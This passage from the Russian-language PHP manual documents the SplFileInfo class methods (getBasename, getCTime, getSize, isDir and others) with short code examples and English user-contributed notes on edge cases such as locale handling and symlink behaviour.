public getCTime(): int|false
public getExtension(): string
public getFileInfo(?string $class = null): SplFileInfo
public getFilename(): string
public getGroup(): int|false
public getInode(): int|false
public getLinkTarget(): string|false
public getMTime(): int|false
public getOwner(): int|false
public getPath(): string
public getPathInfo(?string $class = null): ?SplFileInfo
public getPathname(): string
public getPerms(): int|false
public getRealPath(): string|false
public getSize(): int|false
public getType(): string|false
public isDir(): bool
public isExecutable(): bool
public isFile(): bool
public isLink(): bool
public isReadable(): bool
public isWritable(): bool
public openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public setFileClass(string $class = SplFileObject::class): void
public setInfoClass(string $class = SplFileInfo::class): void
public __toString(): string
}

Список изменений

Версия | Описание
8.0.0 | Класс SplFileInfo теперь реализует Stringable.

Содержание

  • SplFileInfo::__construct — Создать новый объект SplFileInfo
  • SplFileInfo::getATime — Получает время последнего доступа к файлу
  • SplFileInfo::getBasename — Получает базовое имя файла
  • SplFileInfo::getCTime — Возвращает время последнего изменения индексного дескриптора файла
  • SplFileInfo::getExtension — Получает расширение файла
  • SplFileInfo::getFileInfo — Получает объект SplFileInfo для файла
  • SplFileInfo::getFilename — Получает имя файла
  • SplFileInfo::getGroup — Получает группу файла
  • SplFileInfo::getInode — Получает индексный дескриптор для файла
  • SplFileInfo::getLinkTarget — Получает путь ссылки
  • SplFileInfo::getMTime — Получает время последнего изменения
  • SplFileInfo::getOwner — Получает владельца файла
  • SplFileInfo::getPath — Получает путь без имени файла
  • SplFileInfo::getPathInfo — Получает объект SplFileInfo для заданного пути
  • SplFileInfo::getPathname — Получает путь к файлу
  • SplFileInfo::getPerms — Получает список разрешений
  • SplFileInfo::getRealPath — Получает абсолютный путь к файлу
  • SplFileInfo::getSize — Получает размер файла
  • SplFileInfo::getType — Получает тип файла
  • SplFileInfo::isDir — Указывает, является ли файл каталогом
  • SplFileInfo::isExecutable — Указывает, является ли файл исполняемым
  • SplFileInfo::isFile — Указывает, ссылается ли объект на обычный файл
  • SplFileInfo::isLink — Указывает, является ли файл ссылкой
  • SplFileInfo::isReadable — Указывает, является ли файл доступным для чтения
  • SplFileInfo::isWritable — Указывает, является ли файл доступным для записи
  • SplFileInfo::openFile — Получает объект SplFileObject для файла
  • SplFileInfo::setFileClass — Задаёт имя класса, который будет использоваться методом SplFileInfo::openFile
  • SplFileInfo::setInfoClass — Задаёт имя класса, объекты которого будут создаваться методами SplFileInfo::getFileInfo и SplFileInfo::getPathInfo
  • SplFileInfo::__toString — Возвращает путь к файлу в виде строки

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект SplFileInfo

  • « SplFileInfo
  • SplFileInfo::getATime »
  • PHP Manual
  • SplFileInfo
  • Создать новый объект SplFileInfo

SplFileInfo::__construct

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::__construct — Создать новый объект SplFileInfo

Описание

public SplFileInfo::__construct(string $filename)

Создаёт новый объект SplFileInfo для указанного имени файла. Файл не обязательно должен существовать или быть доступным для чтения.

Список параметров

filename

Путь к файлу.

Примеры

Пример #1 Пример использования SplFileInfo::__construct()

<?php
$info = new SplFileInfo('example.php');
if ($info->isFile()) {
echo $info->getRealPath();
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Получает время последнего доступа к файлу

  • « SplFileInfo::__construct
  • SplFileInfo::getBasename »
  • PHP Manual
  • SplFileInfo
  • Получает время последнего доступа к файлу

SplFileInfo::getATime

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getATime — Получает время последнего доступа к файлу

Описание

public SplFileInfo::getATime(): int|false

Получает время последнего доступа к файлу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает время последнего обращения к файлу в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывает RunTimeException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SplFileInfo::getATime()

<?php
$info = new SplFileInfo('example.jpg');
echo 'Последнего обращения к файлу в ' . date('g:i a', $info->getATime());
?>

Результатом выполнения данного примера будет что-то подобное:

Последнего обращения к файлу в 1:49 pm

Смотрите также

  • fileatime() - Возвращает время последнего доступа к файлу

User Contributed Notes

There are no user contributed notes for this page.


Получает базовое имя файла

  • « SplFileInfo::getATime
  • SplFileInfo::getCTime »
  • PHP Manual
  • SplFileInfo
  • Получает базовое имя файла

SplFileInfo::getBasename

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

SplFileInfo::getBasename — Получает базовое имя файла

Описание

public SplFileInfo::getBasename(string $suffix = ""): string

Этот метод возвращает базовое имя файла, каталога или ссылки без информации о пути.

Список параметров

suffix

Необязательный суффикс, который будет исключён из базового имени.

Предостережение

SplFileInfo::getBasename() учитывает локаль, поэтому, чтобы увидеть корректное базовое имя файла с многобайтовыми символами в пути, соответствующая локаль должна быть установлена с помощью функции setlocale().

Возвращаемые значения

Возвращает базовое имя без информации о пути.

Примеры

Пример #1 Пример использования SplFileInfo::getBasename()

<?php
$info = new SplFileInfo('file.txt');
var_dump($info->getBasename());

$info = new SplFileInfo('/path/to/file.txt');
var_dump($info->getBasename());

$info = new SplFileInfo('/path/to/file.txt');
var_dump($info->getBasename('.txt'));
?>

Результатом выполнения данного примера будет что-то подобное:

string(8) "file.txt"
string(8) "file.txt"
string(4) "file"

Смотрите также

  • SplFileInfo::getFilename() - Получает имя файла

User Contributed Notes

glen at pld-linux dot org 13-Mar-2018 07:49
similarly to basename, this method also suffers corruption if filename starts with non-ascii and locale not set to matching charset

$ LC_ALL=C php -r 'var_dump(basename("amb.er")); $fi = new SplFileInfo("am.ber"); var_dump($fi->getBasename());';
string(5) "mb.er"
string(5) "m.ber"

$ LC_ALL=en_US.UTF-8 php -r 'var_dump(basename("amb.er")); $fi = new SplFileInfo("am.ber"); var_dump($fi->getBasename());';
string(7) "amb.er"
string(7) "am.ber"
schuyler dot bos at gmail dot com 27-Dec-2016 10:51
Agreed, this is just silly.  why not make getFileName() just return the string without extension. then, there would be a method to return all the different permutations without having to do weird coding.

getBaseName()
getExtention()
getFileName()

although due to nomenclature it might make more sense to have getBaseName() return the file name without extension, since getFileName() would kinda suggest it has a file extension on it.
adam dot schubert at sg1-game dot net 19-Feb-2016 03:11
If you want to get only filename and dont want to use weird:

<?php
pathinfo($file->getBasename(), PATHINFO_FILENAME);
?>

You can use (also weird but ~better looking):

<?php
$file->getBasename('.'.$file->getExtension());
?>

PS: Why there is getFilename ? when it returns ~same stuff as getBasename ? I have to do this ugly stuff^ instead of simple getFilename...


Возвращает время последнего изменения индексного дескриптора файла

  • « SplFileInfo::getBasename
  • SplFileInfo::getExtension »
  • PHP Manual
  • SplFileInfo
  • Возвращает время последнего изменения индексного дескриптора файла

SplFileInfo::getCTime

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getCTime — Возвращает время последнего изменения индексного дескриптора файла

Описание

public SplFileInfo::getCTime(): int|false

Возвращает время последнего изменения индексного дескриптора файла. Возвращает временную метку Unix.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Время последнего изменения в виде временной метки Unix в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

В случае возникновения ошибки выбрасывает исключение RunTimeException.

Примеры

Пример #1 Пример использования SplFileInfo::getCTime()

<?php
$info = new SplFileInfo('example.jpg');
echo 'Время последнего изменения ' . date('g:i a', $info->getCTime());
?>

Результатом выполнения данного примера будет что-то подобное:

Время последнего изменения 1:49 pm

Смотрите также

  • filectime() - Возвращает время изменения индексного дескриптора файла
  • SplFileInfo::getATime() - Получает время последнего доступа к файлу
  • SplFileInfo::getMTime() - Получает время последнего изменения

User Contributed Notes

michael at smith-li dot com 30-Jun-2014 07:29
A file's ctime is it's inode change time. The inode changes when file metadata changes (for example when file permissions change). The inode also changes whenever the file's contents change, but since the inode changes for other reasons, it's more accurate to use mtime to get the age of the contents of a file. See SPLFileInfo::getMTime

Also, please note ctime is not creation time. (Most UNIX-like filesystems do not record a file's creation time.)


Получает расширение файла

  • « SplFileInfo::getCTime
  • SplFileInfo::getFileInfo »
  • PHP Manual
  • SplFileInfo
  • Получает расширение файла

SplFileInfo::getExtension

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

SplFileInfo::getExtension — Получает расширение файла

Описание

public SplFileInfo::getExtension(): string

Возвращает расширение файла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string), содержащую расширение файла, или пустую строку (string), если у файла нет расширения.

Примеры

Пример #1 Пример использования SplFileInfo::getExtension()

<?php

$info = new SplFileInfo('foo.txt');
var_dump($info->getExtension());

$info = new SplFileInfo('photo.jpg');
var_dump($info->getExtension());

$info = new SplFileInfo('something.tar.gz');
var_dump($info->getExtension());

?>

Результат выполнения данного примера:

string(3) "txt"
string(3) "jpg"
string(2) "gz"

Примечания

Замечание:

Другой способ для получения расширения - использование функции pathinfo().

<?php
$extension = pathinfo($info->getFilename(), PATHINFO_EXTENSION);
?>

Смотрите также

  • SplFileInfo::getFilename() - Получает имя файла
  • SplFileInfo::getBasename() - Получает базовое имя файла
  • pathinfo() - Возвращает информацию о пути к файлу

User Contributed Notes

There are no user contributed notes for this page.


Получает объект SplFileInfo для файла

  • « SplFileInfo::getExtension
  • SplFileInfo::getFilename »
  • PHP Manual
  • SplFileInfo
  • Получает объект SplFileInfo для файла

SplFileInfo::getFileInfo

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getFileInfo — Получает объект SplFileInfo для файла

Описание

public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo

Этот метод получает объект SplFileInfo для указанного файла.

Список параметров

class

Имя производного от SplFileInfo класса для использования.

Возвращаемые значения

Объект SplFileInfo, созданный для файла.

Список изменений

Версия | Описание
8.0.0 | class теперь допускает значение null.

Смотрите также

  • SplFileInfo::setInfoClass() - Задаёт имя класса, объекты которого будут создаваться методами SplFileInfo::getFileInfo и SplFileInfo::getPathInfo

User Contributed Notes

There are no user contributed notes for this page.


Получает имя файла

  • « SplFileInfo::getFileInfo
  • SplFileInfo::getGroup »
  • PHP Manual
  • SplFileInfo
  • Получает имя файла

SplFileInfo::getFilename

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getFilename — Получает имя файла

Описание

public SplFileInfo::getFilename(): string

Получает имя файла без информации о пути к нему.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя файла.

Примеры

Пример #1 Пример использования SplFileInfo::getFilename()

<?php
$info = new SplFileInfo('foo.txt');
var_dump($info->getFilename());

$info = new SplFileInfo('/path/to/foo.txt');
var_dump($info->getFilename());

$info = new SplFileInfo('http://www.php.net/');
var_dump($info->getFilename());

$info = new SplFileInfo('http://www.php.net/svn.php');
var_dump($info->getFilename());
?>

Результатом выполнения данного примера будет что-то подобное:

string(7) "foo.txt"
string(7) "foo.txt"
string(0) ""
string(7) "svn.php"

Смотрите также

  • SplFileInfo::getBasename() - Получает базовое имя файла

User Contributed Notes

khalidhameedkht at gmail dot com 14-Dec-2016 12:06
// Careful, output is different for `filename` vs `getFilename`. Inconsistent behaviour.

$path = 'test.txt';

$pathInfo = pathinfo($path);
echo '<pre>';
print_r($pathInfo);

echo '<br>';
echo '***************';

$splFileInfo = new SplFileInfo($path);
echo '<br>';
echo $splFileInfo->getBasename();

echo '<br>';
echo $splFileInfo->getFilename();
Alex Russell 28-Sep-2015 03:39
I was trying to work out the difference between this and getBasename (http://php.net/manual/splfileinfo.getbasename.php) and the only difference I could really see was a special case of a file in the filesystem root with the root specified:

<?php
function getInfo($reference)
{
    $file = new SplFileInfo($reference);

    var_dump($file->getFilename());
    var_dump($file->getBasename());
}

$test = [
    '/path/to/file.txt',
    '/path/to/file',
    '/path/to/',
    'path/to/file.txt',
    'path/to/file',
    'file.txt',
    '/file.txt',
    '/file',
];

foreach ($test as $file) {
    getInfo($file);
}

// will return:
/*
string(8) "file.txt"
string(8) "file.txt"

string(4) "file"
string(4) "file"

string(2) "to"
string(2) "to"

string(8) "file.txt"
string(8) "file.txt"

string(4) "file"
string(4) "file"

string(8) "file.txt"
string(8) "file.txt"

string(9) "/file.txt" // see how getFilename includes the '/'
string(8) "file.txt"  // but getBasename doesn't

string(5) "/file"     // ditto getFilename
string(4) "file"      // ditto getBasename
*/

?>
wloske at yahoo dot de 19-Oct-2009 09:12
It should be mentioned that the function returns the name of the directory if "filename" is of type "directory". Hence

<?php
$info = new SplFileInfo('/path/to/');
var_dump($info->getFilename());
?>

should return "to"

The function name is kind of misleading here and I am glad to have it tried.


Получает группу файла

  • « SplFileInfo::getFilename
  • SplFileInfo::getInode »
  • PHP Manual
  • SplFileInfo
  • Получает группу файла

SplFileInfo::getGroup

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getGroup — Получает группу файла

Описание

public SplFileInfo::getGroup(): int|false

Получает группу файла. Идентификатор группы возвращается в числовом формате.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Идентификатор группы в числовом формате в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выбрасывает RuntimeException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SplFileInfo::getGroup()

<?php
$info = new SplFileInfo('example.jpg');
echo info->getFilename() . ' принадлежит группе ' . $info->getGroup() . "\n";
print_r(posix_getgrgid($info->getGroup()));
?>

Результатом выполнения данного примера будет что-то подобное:

example.jpg принадлежит группе 42
Array
(
    [name] => toons
    [passwd] => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid] => 42
)

Смотрите также

  • filegroup() - Получает идентификатор группы файла
  • posix_getgrgid() - Возвращает информацию о группе по её ID

User Contributed Notes

There are no user contributed notes for this page.


Получает индексный дескриптор для файла

  • « SplFileInfo::getGroup
  • SplFileInfo::getLinkTarget »
  • PHP Manual
  • SplFileInfo
  • Получает индексный дескриптор для файла

SplFileInfo::getInode

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getInode — Получает индексный дескриптор для файла

Описание

public SplFileInfo::getInode(): int|false

Получает номер индексного дескриптора для объекта файловой системы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает номер индексного дескриптора для объекта файловой системы в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

В случае возникновения ошибки выбрасывает исключение RuntimeException.

Смотрите также

  • fileinode() - Возвращает индексный дескриптор файла

User Contributed Notes

sander at webpirates dot nl 12-Jun-2009 02:03
Question raised on DPC2009: What does getInode() return on windows? Answer: int 0.


Получает путь ссылки

  • « SplFileInfo::getInode
  • SplFileInfo::getMTime »
  • PHP Manual
  • SplFileInfo
  • Получает путь ссылки

SplFileInfo::getLinkTarget

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

SplFileInfo::getLinkTarget — Получает путь ссылки

Описание

public SplFileInfo::getLinkTarget(): string|false

Получает целевой путь ссылки файловой системы.

Замечание:

Этот путь может не быть реальным расположением в файловой системе. Чтобы получить реальный путь файловой системы, используйте метод SplFileInfo::getRealPath().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целевой путь ссылки файловой системы в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

В случае возникновения ошибки выбрасывает исключение RuntimeException.

Примеры

Пример #1 Пример использования SplFileInfo::getLinkTarget()

<?php
$info = new SplFileInfo('/Users/bbieber/workspace');
if ($info->isLink()) {
var_dump($info->getLinkTarget());
var_dump($info->getRealPath());
}
?>

Результатом выполнения данного примера будет что-то подобное:

string(19) "Documents/workspace"
string(34) "/Users/bbieber/Documents/workspace"

Смотрите также

  • SplFileInfo::isLink() - Указывает, является ли файл ссылкой
  • SplFileInfo::getRealPath() - Получает абсолютный путь к файлу

User Contributed Notes

There are no user contributed notes for this page.


Получает время последнего изменения

  • « SplFileInfo::getLinkTarget
  • SplFileInfo::getOwner »
  • PHP Manual
  • SplFileInfo
  • Получает время последнего изменения

SplFileInfo::getMTime

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getMTime — Получает время последнего изменения

Описание

public SplFileInfo::getMTime(): int|false

Возвращает время, когда содержимое файла было изменено. Время возвращается в формате временной метки Unix.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает время последнего изменения файла в формате временной метки Unix в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SplFileInfo::getMTime()

<?php
$info = new SplFileInfo('example.jpg');
echo 'Последнее изменение в ' . date('g:i a', $info->getMTime());
?>

Результатом выполнения данного примера будет что-то подобное:

Последнее изменение в 1:49 pm

Смотрите также

  • filemtime() - Возвращает время последнего изменения файла
  • SplFileInfo::getATime() - Получает время последнего доступа к файлу
  • SplFileInfo::getCTime() - Возвращает время последнего изменения индексного дескриптора файла

User Contributed Notes

There are no user contributed notes for this page.


Получает владельца файла

  • « SplFileInfo::getMTime
  • SplFileInfo::getPath »
  • PHP Manual
  • SplFileInfo
  • Получает владельца файла

SplFileInfo::getOwner

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getOwner — Получает владельца файла

Описание

public SplFileInfo::getOwner(): int|false

Получает владельца файла. Идентификатор владельца возвращается в числовом формате.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Идентификатор владельца файла в виде числа в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

В случае возникновения ошибки выбрасывает исключение RuntimeException.

Примеры

Пример #1 Пример использования SplFileInfo::getOwner()

<?php
$info = new SplFileInfo('example.jpg');
echo info->getFilename() . ' принадлежит группе ' . $info->getOwner() . "\n";
print_r(posix_getpwuid($info->getOwner()));
?>

Результатом выполнения данного примера будет что-то подобное:

example.jpg принадлежит группе 501
Array
(
    [name] => tom
    [passwd] => x
    [uid] => 501
    [gid] => 42
    [gecos] => Tom Cat
    [dir] => /home/tom
    [shell] => /bin/bash
)

Смотрите также

  • posix_getpwuid() - Возвращает информацию о пользователе, используя его ID
  • SplFileInfo::getGroup() - Получает группу файла

User Contributed Notes

There are no user contributed notes for this page.


Получает путь без имени файла

  • « SplFileInfo::getOwner
  • SplFileInfo::getPathInfo »
  • PHP Manual
  • SplFileInfo
  • Получает путь без имени файла

SplFileInfo::getPath

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getPath — Получает путь без имени файла

Описание

public SplFileInfo::getPath(): string

Возвращает путь к файлу, исключая имя файла и завершающий слеш.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает путь к файлу.

Примеры

Пример #1 Пример использования SplFileInfo::getPath()

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->getPath());

$info = new SplFileInfo('/usr/');
var_dump($info->getPath());?>

Результатом выполнения данного примера будет что-то подобное:

string(8) "/usr/bin"
string(4) "/usr"

Смотрите также

  • SplFileInfo::getRealPath() - Получает абсолютный путь к файлу
  • SplFileInfo::getFilename() - Получает имя файла
  • SplFileInfo::getPathInfo() - Получает объект SplFileInfo для заданного пути

User Contributed Notes

There are no user contributed notes for this page.


Получает объект SplFileInfo для заданного пути

  • « SplFileInfo::getPath
  • SplFileInfo::getPathname »
  • PHP Manual
  • SplFileInfo
  • Получает объект SplFileInfo для заданного пути

SplFileInfo::getPathInfo

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getPathInfo — Получает объект SplFileInfo для заданного пути

Описание

public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo

Получает объект класса SplFileInfo для пути текущего файла.

Список параметров

class

Имя производного от SplFileInfo класса для использования или себя, если null.

Возвращаемые значения

Возвращает объект класса SplFileInfo для родительского пути файла в случае успешного выполнения или null в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | class теперь допускает значение null.

Примеры

Пример #1 Пример использования SplFileInfo::getPathInfo()

<?php
$info = new SplFileInfo('/usr/bin/php');
$parent_info = $info->getPathInfo();
var_dump($parent_info->getRealPath());
?>

Результатом выполнения данного примера будет что-то подобное:

string(8) "/usr/bin"

Смотрите также

  • SplFileInfo::setInfoClass() - Задаёт имя класса, объекты которого будут создаваться методами SplFileInfo::getFileInfo и SplFileInfo::getPathInfo

User Contributed Notes

There are no user contributed notes for this page.


Получает путь к файлу

  • « SplFileInfo::getPathInfo
  • SplFileInfo::getPerms »
  • PHP Manual
  • SplFileInfo
  • Получает путь к файлу

SplFileInfo::getPathname

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getPathname — Получает путь к файлу

Описание

public SplFileInfo::getPathname(): string

Возвращает путь к файлу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Путь к файлу.

Примеры

Пример #1 Пример использования SplFileInfo::getPathname()

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->getPathname());
?>

Результатом выполнения данного примера будет что-то подобное:

string(12) "/usr/bin/php"

Смотрите также

  • SplFileInfo::getRealPath() - Получает абсолютный путь к файлу

User Contributed Notes

_ michael 18-Mar-2011 06:00
In Windows, getPathname might return a path with a mix of backslashes and forward slashes ('C:/some/path/to\a\file.txt'). Observed in PHP 5.2.9. By contrast, getRealPath will return a consistent result (all backslashes).


Получает список разрешений

  • « SplFileInfo::getPathname
  • SplFileInfo::getRealPath »
  • PHP Manual
  • SplFileInfo
  • Получает список разрешений

SplFileInfo::getPerms

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getPerms — Получает список разрешений

Описание

public SplFileInfo::getPerms(): int|false

Получает список разрешений для файла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает список разрешений для файла в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SplFileInfo::getPerms()

<?php
$info = new SplFileInfo('/tmp');
echo substr(sprintf('%o', $info->getPerms()), -4);

$info = new SplFileInfo(__FILE__);
echo substr(sprintf('%o', $info->getPerms()), -4);
?>

Результатом выполнения данного примера будет что-то подобное:

1777
0644

User Contributed Notes

There are no user contributed notes for this page.


Получает абсолютный путь к файлу

  • « SplFileInfo::getPerms
  • SplFileInfo::getSize »
  • PHP Manual
  • SplFileInfo
  • Получает абсолютный путь к файлу

SplFileInfo::getRealPath

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

SplFileInfo::getRealPath — Получает абсолютный путь к файлу

Описание

public SplFileInfo::getRealPath(): string|false

Этот метод распаковывает все символические ссылки, разрешает относительные пути и возвращает абсолютный путь к файлу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает путь к файлу или false, если файл не существует.

Примеры

Пример #1 Пример использования SplFileInfo::getRealPath()

<?php
$info = new SplFileInfo('/..//./../../'.__FILE__);
var_dump($info->getRealPath());

$info = new SplFileInfo('/tmp');
var_dump($info->getRealPath());

$info = new SplFileInfo('/I/Do/Not/Exist');
var_dump($info->getRealPath());

$info = new SplFileInfo('php://output');
var_dump($info->getRealPath());

$info = new SplFileInfo("");
var_dump($info->getRealPath());
?>

Результатом выполнения данного примера будет что-то подобное:

string(28) "/private/tmp/phptempfile.php"
string(12) "/private/tmp"
bool(false)
bool(false)
string(12) "/private/tmp"

Смотрите также

  • SplFileInfo::isLink() - Указывает, является ли файл ссылкой
  • realpath() - Возвращает канонизированный абсолютный путь к файлу

User Contributed Notes

giel at berkers dot online 21-Feb-2018 10:09
Note that due to realpath caching this method will return false when the file has been renamed or unlinked by other processes.

Example:

<?php
$info = new SplFileInfo('example.php');
$info->getRealPath();   // /path/to/example.php

rename('example.php', 'foobar.php');

$info->getRealPath();   // false
?>


Получает размер файла

  • « SplFileInfo::getRealPath
  • SplFileInfo::getType »
  • PHP Manual
  • SplFileInfo
  • Получает размер файла

SplFileInfo::getSize

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getSize — Получает размер файла

Описание

public SplFileInfo::getSize(): int|false

Возвращает размер файла в байтах.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Размер файла в байтах в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Будет выброшено исключение RuntimeException, если файл не существует или возникла ошибка.

Примеры

Пример #1 Пример использования SplFileInfo::getSize()

<?php
$info = new SplFileInfo('example.jpg');
echo $fileinfo->getFilename() . " " . $fileinfo->getSize();
?>

Результатом выполнения данного примера будет что-то подобное:

example.jpg 15385

Смотрите также

  • filesize() - Возвращает размер файла

User Contributed Notes

Pawel B. 11-May-2023 08:41
When getSize return 0, after fwrtite, You must use clearstatcache:

$tmpFile = new \SplFileObject('/tmp/file.txt');
$fp = $tmpFile->openFile('w');
$fp->fwrite('123');
$fp->fflush();
echo $fp->getSize(); //Return 0
clearstatcache();
echo $fp->getSize(); //Return 3

https://bugs.php.net/bug.php?id=72182
random-citizen at example dot org 30-May-2018 08:38
If you're using Symfony's UploadedFile,
please be aware that if you call this method
_after_ you call @move, you will most likely get
some obscenely untraceable error, that says:

`stat failed`

Which if you really think about it, it does makes sense,
the file has been moved by Symfony, but getSize is in SplFileInfo,
and SplFileInfo doesn't know that the file has been moved.

Weirdly enough, that error doesn't come on my work mac :|
contact at socialdevelop dot biz 01-Apr-2016 05:59
if use it as SplFileInfo::getSize - it return false if file not found
if use it as SplFileObject::getSize - it generate RuntimeException: SplFileObject::__construct(my-file): failed to open stream: No such file or directory
Anonymous 14-Mar-2016 08:21
Check http://php.net/manual/en/function.filesize.php#115792 for fast and reliable version of filesize for files >2gb on 32 bit systems.
franssen dot roland at gmail dot com 30-Apr-2011 05:59
Seems to return FALSE if file does not exists... (PHP 5.3.4)


Получает тип файла

  • « SplFileInfo::getSize
  • SplFileInfo::isDir »
  • PHP Manual
  • SplFileInfo
  • Получает тип файла

SplFileInfo::getType

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::getType — Получает тип файла

Описание

public SplFileInfo::getType(): string|false

Возвращает тип указанного файла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка (string), представляющая тип элемента. Возможны следующие значения: file, link, dir, block, fifo, char, socket или unknown. В случае возникновения ошибки возвращает false.

Ошибки

Выбрасывает RuntimeException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SplFileInfo::getType()

<?php

$info = new SplFileInfo(__FILE__);
echo $info->getType().PHP_EOL;

$info = new SplFileInfo(dirname(__FILE__));
echo $info->getType();

?>

Результатом выполнения данного примера будет что-то подобное:

file
dir

User Contributed Notes

There are no user contributed notes for this page.


Указывает, является ли файл каталогом

  • « SplFileInfo::getType
  • SplFileInfo::isExecutable »
  • PHP Manual
  • SplFileInfo
  • Указывает, является ли файл каталогом

SplFileInfo::isDir

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isDir — Указывает, является ли файл каталогом

Описание

public SplFileInfo::isDir(): bool

Этот метод можно использовать для определения того, является ли файл каталогом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если каталог; false в противном случае.

Примеры

Пример #1 Пример использования SplFileInfo::isDir()

<?php
$d = new SplFileInfo(dirname(__FILE__));
var_dump($d->isDir());

$d = new SplFileInfo(__FILE__);
var_dump($d->isDir());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(false)

User Contributed Notes

dev at mike dot pp dot ua 20-Jun-2019 09:16
Documentation is a bit misleading.

SplFileInfo->isDir() and other classes (e.g. DirectoryIterator->isDir()) return TRUE for symlinks of directories. Better use getType() method instead, which returns 'link' for symlinks.

This was reported long time ago - https://bugs.php.net/bug.php?id=72364 , but docs are still not fixed.


Указывает, является ли файл исполняемым

  • « SplFileInfo::isDir
  • SplFileInfo::isFile »
  • PHP Manual
  • SplFileInfo
  • Указывает, является ли файл исполняемым

SplFileInfo::isExecutable

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isExecutable — Указывает, является ли файл исполняемым

Описание

public SplFileInfo::isExecutable(): bool

Проверяет, является ли файл исполняемым.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если файл является исполняемым; false в противном случае.

Примеры

Пример #1 Пример использования SplFileInfo::isExecutable()

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->isExecutable());

$info = new SplFileInfo('/usr/bin');
var_dump($info->isExecutable());

$info = new SplFileInfo('foo');
var_dump($info->isExecutable());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Указывает, ссылается ли объект на обычный файл

  • « SplFileInfo::isExecutable
  • SplFileInfo::isLink »
  • PHP Manual
  • SplFileInfo
  • Указывает, ссылается ли объект на обычный файл

SplFileInfo::isFile

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isFile — Указывает, ссылается ли объект на обычный файл

Описание

public SplFileInfo::isFile(): bool

Проверяет, существует ли файл, на который ссылается объект SplFileInfo, и является ли он обычным файлом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если файл существует и является обычным файлом (а не ссылкой), false в противном случае.

Примеры

Пример #1 Пример использования SplFileInfo::isFile()

<?php
$info = new SplFileInfo(__FILE__);
var_dump($info->isFile());

$info = new SplFileInfo(dirname(__FILE__));
var_dump($info->isFile());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(false)

User Contributed Notes

dev at mike dot pp dot ua 20-Jun-2019 09:12
Documentation is a bit misleading.

SplFileInfo->isFile() and other classes (e.g. DirectoryIterator->isFile()) return TRUE for symlinks of files. Better use getType() method instead, which returns 'link' for symlinks.

This was reported long time ago - https://bugs.php.net/bug.php?id=72364 , but docs are still not fixed.


Указывает, является ли файл ссылкой

  • « SplFileInfo::isFile
  • SplFileInfo::isReadable »
  • PHP Manual
  • SplFileInfo
  • Указывает, является ли файл ссылкой

SplFileInfo::isLink

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isLink — Указывает, является ли файл ссылкой

Описание

public SplFileInfo::isLink(): bool

